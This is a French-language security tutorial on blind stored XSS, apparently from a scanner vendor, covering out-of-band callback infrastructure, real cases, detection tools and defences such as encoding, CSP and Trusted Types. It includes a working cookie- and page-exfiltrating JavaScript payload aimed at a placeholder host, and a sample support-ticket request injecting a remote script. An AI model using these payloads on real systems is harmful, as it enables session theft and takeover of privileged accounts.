XSS à l'aveugle

Qu'est-ce que le XSS à l'aveugle#

Le XSS à l'aveugle est une variante de XSS stocké où l'attaquant ne peut pas directement observer où ni quand le payload s'exécute. Le payload est injecté via une surface accessible aux utilisateurs — un formulaire de contact, un ticket de support, une note de commande, un en-tête User-Agent — et se déclenche plus tard dans un contexte interne ou administratif auquel l'attaquant n'a pas accès : un tableau de bord de helpdesk, un panneau analytique, une visionneuse de logs ou un pipeline de génération PDF.

Comme l'attaquant ne peut pas voir la réponse où le payload s'exécute, les outils de test XSS standard échouent complètement. La vulnérabilité est invisible sans infrastructure hors-bande (OOB) : le payload doit notifier l'attaquant quand il se déclenche, portant suffisamment de contexte — l'URL de la page, le contenu DOM, les cookies — pour être actionnable.

Le XSS à l'aveugle occupe l'extrémité haute du spectre de sévérité XSS. Le payload s'exécute typiquement dans une session d'administrateur ou d'agent de support privilégiée (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.5–9.1 Critique), et les possibilités post-exploitation incluent le vol de session complet, le pivot vers le réseau interne via fetch(), et les backdoors persistants dans l'outillage admin.

Mécanisme#

Le cycle de vie du XSS à l'aveugle diffère du XSS stocké standard dans le contexte d'exécution et la méthode de détection :

1. Injection : L'attaquant soumet le payload via toute surface d'entrée accessible aux utilisateurs
2. Stockage : L'application persiste le payload sans sanitization
3. Déclenchement asynchrone : Des jours ou des heures plus tard, un administrateur, un agent de support ou un processus automatisé rend les données stockées dans une interface interne
4. Callback OOB : Le payload se déclenche dans le contexte privilégié et envoie un token unique plus les données exfiltrées au serveur OOB de l'attaquant
5. Exploitation : L'attaquant reçoit le cookie ou token de session, prend le contrôle du compte privilégié

Surfaces d'injection à fort rendement#

Infrastructure de callback OOB#

Tous les outils de XSS à l'aveugle en production implémentent le même modèle à trois composants :

1. Token unique par injection : Un sous-domaine ou composant de chemin URL encodant le contexte d'injection (/xss/TICKET-4892-USER-alice/callback)
2. Registre côté serveur : Associe les tokens aux métadonnées d'injection — surface, horodatage, application cible, nom de paramètre
3. Notification asynchrone : Webhook Discord, message Slack ou alerte email quand un token se déclenche, incluant le contenu du payload

Schéma de payload multi-sondes#

Une seule politique CSP peut bloquer une méthode d'exfiltration mais pas les autres. Ce payload à trois sondes tente tous les canaux disponibles :

// Payload XSS à l'aveugle résistant au CSP
// Tente beacon image, fetch et injection de script en séquence
(function(token) {
  var oob = 'https://oob.example.com/xss/' + token;
  var data = '?l=' + btoa(location.href).slice(0, 64)
           + '&c=' + btoa(document.cookie).slice(0, 64)
           + '&d=' + btoa(document.body.innerText).slice(0, 128);
 
  // Méthode 1 : beacon image (bloqué par les restrictions img-src)
  new Image().src = oob + data;
 
  // Méthode 2 : fetch no-cors (bloqué par connect-src)
  try { fetch(oob + data, { mode: 'no-cors' }); } catch(e) {}
 
  // Méthode 3 : injection de balise script (bloqué par script-src)
  var s = document.createElement('script');
  s.src = oob + data;
  document.head && document.head.appendChild(s);
}('UNIQUE_TOKEN_PAR_INJECTION'));

Intégré dans un vecteur de payload standard :

POST /api/support-tickets
Content-Type: application/json
 
{
  "subject": "Problème de connexion",
  "body": "Je ne peux pas accéder à mon compte.<script src='https://oob.example.com/xss/TICKET-TOKEN/payload.js'></script>"
}

Comparaison des infrastructures OOB#

Schéma OOB BreachVex : Chaque injection reçoit un token unique intégré dans l'URL de callback, et le contexte d'injection est conservé sur une fenêtre de corrélation de plusieurs jours. Les callbacks arrivant dans cette fenêtre sont corrélés à la surface d'injection correcte et présentés comme des findings d'exécution confirmée cross-origin.

Exemples concrets#

CVE-2025-0133 — Palo Alto GlobalProtect (découverte XBOW) Le système de pentest automatisé XBOW a découvert un XSS à l'aveugle dans GlobalProtect via une injection systématique de payload dans tous les champs accessibles aux utilisateurs et une surveillance persistante des callbacks OOB. La vulnérabilité permettait à des utilisateurs non authentifiés d'injecter des payloads qui se déclenchaient dans l'interface de gestion de l'administrateur. L'approche XBOW — 84,6 % de couverture sur un benchmark de 104 défis — démontre que la chasse au XSS à l'aveugle à grande échelle est désormais commercialement viable.

HackerOne #3357808 — XSS stocké Nextcloud via SVG (variante à l'aveugle) Un fichier SVG uploadé dans un stockage cloud se rendait en ligne dans l'interface de gestion des médias admin. Le payload se déclenchait quand un administrateur naviguait dans le dossier partagé — un scénario de XSS à l'aveugle où le déposant original du fichier (l'attaquant) n'avait aucune visibilité sur quand ni dans quelle session le payload s'exécuterait. Prime : 150 $.

Schéma de tableau de bord admin interne Le vecteur de XSS à l'aveugle d'entreprise le plus courant : les clients soumettent des demandes de support via un formulaire web. Le contenu du ticket est rendu dans un CRM ou un outil helpdesk — Zendesk, Freshdesk, constructions personnalisées — qui affiche le HTML brut des entrées client dans les vues agent. Les payloads soumis via le formulaire de contact public se déclenchent dans les navigateurs des agents quelques minutes plus tard. Le cookie de session de l'agent, qui accorde un accès CRM complet, est exfiltré vers le serveur OOB de l'attaquant.

Détection#

Tests manuels#

1. Énumérer toutes les surfaces à l'aveugle : Toute entrée accessible aux utilisateurs qui apparaît dans un outil admin ou interne — formulaires, champs API, en-têtes HTTP, uploads de fichiers
2. Injecter un payload avec token OOB : Utiliser Interactsh ou XSS Hunter Express pour l'infrastructure de callback ; assigner un token unique par surface d'injection
3. Surveiller pendant 24–72 heures : De nombreuses surfaces de XSS à l'aveugle ont des délais de plusieurs jours (templates email, cycles de revue des logs)
4. Corréler les callbacks : Quand un token se déclenche, le registre l'associe à la surface d'injection, au nom du paramètre et au contexte d'exfiltration

# Configurer un écouteur Interactsh
interactsh-client -server https://oast.fun -v
 
# Utiliser le FQDN généré dans le payload :
# "><script src="https://abc123.oast.fun/payload.js"></script>

Détection automatisée#

Les outils DAST standards ne peuvent pas découvrir le XSS à l'aveugle sans infrastructure OOB. Outils qui le supportent :

• Dalfox avec --blind <oob-url> — injecte des payloads OOB et surveille les callbacks
• Burp Suite Collaborator — plateforme OOB d'entreprise intégrée au scanner actif de Burp
• BreachVex — corrèle les callbacks hors-bande aux surfaces d'injection via un registre de tokens unique par injection, avec injection de payload multi-sondes sur les champs texte REST courants

BreachVex détecte le XSS à l'aveugle via un registre de tokens OOB unique par injection : chaque endpoint d'écriture reçoit un token distinct intégré dans l'URL de callback, et le moteur corrèle les callbacks à leurs surfaces d'injection tout au long de la session de scan.

Prévention#

Encodage de sortie dans les vues admin#

L'écart le plus critique : les équipes de développement durcissent les pages publiques mais négligent les outils internes, supposant que les utilisateurs admin sont de confiance. L'exigence d'encodage s'applique également aux deux :

# Template Django — toujours utiliser le filtre | e pour les entrées utilisateur stockées
# {{ ticket.subject | e }}  → encodage en entités HTML (sûr)
# {{ ticket.subject }}      → peut être sûr ou non selon le paramètre autoescape
# {{ ticket.subject | safe }} → DANGEREUX : contourne entièrement l'encodage
 
# Jinja2 — autoescape doit être True globalement, surtout pour les templates admin
from jinja2 import Environment
env = Environment(autoescape=True)  # défaut sûr pour tous les templates

CSP pour les panneaux d'administration#

Les interfaces admin ont typiquement un CSP moins strict que les pages publiques. Appliquer une politique stricte spécifiquement sur les routes admin :

# CSP panneau admin — plus stricte que le site public
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-ALEATOIRE_PAR_REQUETE' 'strict-dynamic';
  connect-src 'self';
  img-src 'self' data:;
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';

Trusted Types pour les tableaux de bord admin#

// Politique Trusted Types pour panneau admin
// Applique la sanitization DOMPurify sur toutes les assignations innerHTML
if (window.trustedTypes && window.trustedTypes.createPolicy) {
  const policy = window.trustedTypes.createPolicy('admin-default', {
    createHTML: (input) => DOMPurify.sanitize(input, {
      ALLOWED_TAGS: ['b', 'i', 'p', 'br', 'strong', 'em'],
      ALLOWED_ATTR: [],  // pas d'attributs dans l'affichage des tickets
    }),
  });
  // Remplacer tout : element.innerHTML = ticketContent
  // Par : element.innerHTML = policy.createHTML(ticketContent)
}

Ressources#

• XSS — Vue d'ensemble pilier
• XSS Hunter Express (OOB auto-hébergé)
• Interactsh — Collecteur OOB
• PortSwigger : Tester le XSS à l'aveugle